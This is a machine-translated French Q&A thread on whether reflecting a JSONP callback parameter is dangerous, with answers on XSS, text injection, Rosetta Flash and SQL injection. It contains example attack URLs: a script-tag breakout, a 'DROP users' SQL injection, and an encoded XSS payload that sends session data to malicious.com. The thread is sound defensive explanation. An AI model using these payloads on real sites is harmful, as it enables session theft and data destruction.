web-dev-qa-db-fra.com

L'injection de valeurs de chaîne de requête directement dans HTML pose-t-elle un risque pour la sécurité?

Quelqu'un a signalé un bug sur mon site que je ne considère pas vraiment comme un problème. Mon site a une URL semblable à celle-ci:

www.site.com/ajax/ads.asp?callback=[text injection]

Le type de fichier est donc application/json, et je ne vois pas comment cela peut affecter la sécurité du site.

Son point de vue était qu'il peut contourner crossdomain.xml si quelqu'un visite la page avec ceci:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

J'ai fait une recherche pour cela, mais je n'ai pas vraiment trouvé d'informations qui disent que ce qu'il dit est vrai. J'ai besoin que quelqu'un me dise à quel point c'est sérieux, si j'ai vraiment besoin de parcourir mes scripts pour corriger chaque instance de ce bogue.

xssjavascriptajaxcrossdomain
53
Daniel

L'injection de texte en clair est un problème. Supposons que vous ayez un modèle de page qui ressemble à ceci:

Hi <name>,

Blah blah blah.

Et vous pouvez injecter à partir de l'URL.

Un attaquant peut créer un e-mail contenant un lien vers www.example.com/ajax/ads.asp?name=Foo%2C+you+have+the+wrong+version+Flash+plugin%2C+our+company+policy+ nécessite + que + vous + utilisiez + version + vul.ne.rabl.e.% 0D% 0A% 0D% 0AHi% 020Foo (qui pourrait également être minifiée).

Cela donnera à votre page l'apparence suivante:

Salut Foo, vous avez la mauvaise version du plugin Flash, notre politique d'entreprise exige que vous utilisiez la version vul.ne.rabl.e.

Salut Foo,

Bla bla bla.

Le message semble provenir de votre site, et puisque vos utilisateurs font confiance à votre site, ils croiront probablement les instructions que "vous" avez données.

57
Lie Ryan

Les scripts intersites ne constituent pas une menace pour l'intégrité de votre serveur Web. Au contraire, le problème est qu'un attaquant peut créer une URL site.com qui exécutera du JavaScript arbitraire. Si vos utilisateurs font confiance à votre site et lui permettent de faire ce qu'il veut, cela pourrait être une faille de sécurité majeure.

44
Justin

Imaginez si le texte injecté était:

"></script><script>alert("hi");"

ce qui ferait ressembler à ceci:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Ensuite, vous disposez d'un script personnalisé fonctionnel qui peut faire tout ce qu'il veut dans la page.

23
jfriend00

Son argument était qu'il peut contourner les politiques interdomaines si quelqu'un visite la page avec ceci:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Oui, il a raison. Mais cela ne semble pas être une faille de sécurité, à la place, cela ressemble à une fonctionnalité. Cette technique de contournement de la même politique d'origine est appelée JSONP (et est très bien documentée).

Cependant, il y a quelques captures:

  • La bonne content-type pour les réponses JSONP est application/javascript, car ce sont des scripts exécutables. Ce n'est plus du simple JSON.
  • Si vous ne connaissez pas JSONP ni comment il fonctionne, il est suspect que vous l'utilisiez. Que ce soit un bug grave dépend de la raison pour laquelle vous l'utilisez:
  • JSONP peut être exploité , car c'est sa nature. Assurez-vous que vous n'envoyez pas de données confidentielles, uniquement les informations que vous souhaitez rendre accessibles au public.
    Assurez-vous de traiter toutes les demandes de ressources JSONP comme si elles n'avaient pas d'informations d'identification.
2
Bergi

Il existe une attaque qui utilise ce vecteur d'attaque exact, appelée Rosetta Flash ( CVE-2014-4671 ).

Comme expliqué sur la page Rosetta Flash, la vulnérabilité est que:

  1. Avec Flash, un fichier SWF peut exécuter des requêtes GET contenant des cookies et POST requêtes vers le domaine qui l'héberge , avec non crossdomain.xml vérifier. C'est pourquoi autoriser les utilisateurs à télécharger un fichier SWF sur un domaine sensible est dangereux: en téléchargeant un SWF soigneusement conçu, un attaquant peut obliger la victime à effectuer des requêtes qui ont des effets secondaires et à exfiltrer des données sensibles vers un domaine externe contrôlé par l'attaquant.

  2. [~ # ~] jsonp [~ # ~] , par conception, permet à un attaquant de contrôler les premiers octets de la sortie d'un point de terminaison en spécifiant le paramètre callback dans l'URL de la requête.

  3. Les fichiers SWF peuvent être incorporés sur un domaine contrôlé par un attaquant à l'aide d'un forçage de type de contenu <object> tag, et sera exécuté en Flash tant que le contenu ressemble à un fichier Flash valide.

Cette vulnérabilité spécifique a été atténuée par ne mise à jour de Flash Player , mais les anciennes versions sont toujours vulnérables, et cette même technique pourrait en théorie être utilisée pour attaquer d'autres systèmes.

Généralisation à partir de cette vulnérabilité spécifique: dans la mesure du possible, il est préférable de ne pas permettre à un attaquant de contrôler les premiers octets de toute réponse que vous envoyez, car c'est la partie utilisée "utilement" par les navigateurs et autres clients pour détecter votre type de contenu et les navigateurs sont connus pour remplacer Content-Type en-têtes basés sur du contenu reniflé dans le passé.

2
Daniel Pryden

Je pense que OP se concentre sur le mauvais endroit en regardant l'URL. Tous les paramètres GET et POST peuvent être utilisés abusivement, quel que soit leur nom. Le seul code pertinent est celui qui tilise ce paramètre.

Par exemple, vous pouvez avoir une vulnérabilité d'injection SQL si vous concaténez ce paramètre à une requête SQL:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

Un utilisateur peut visiter:

www.site.com/ajax/ads.asp?callback=0;DROP+users

Vous avez une vulnérabilité XSS si vous faites quelque chose comme:

return new Response("Hello " + param("callback"))

Un utilisateur peut visiter:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

Ce sont toutes des variations sur le même thème: traiter toutes les langues comme des chaînes, ce qui permet de les mélanger. D'autres exemples sont l'injection Shell, l'injection de code basée sur l'évaluation, l'éclatement des "citations", etc.

Vous pouvez également différer ces mêmes vulnérabilités si vous stockez le paramètre quelque part:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))
1
Warbo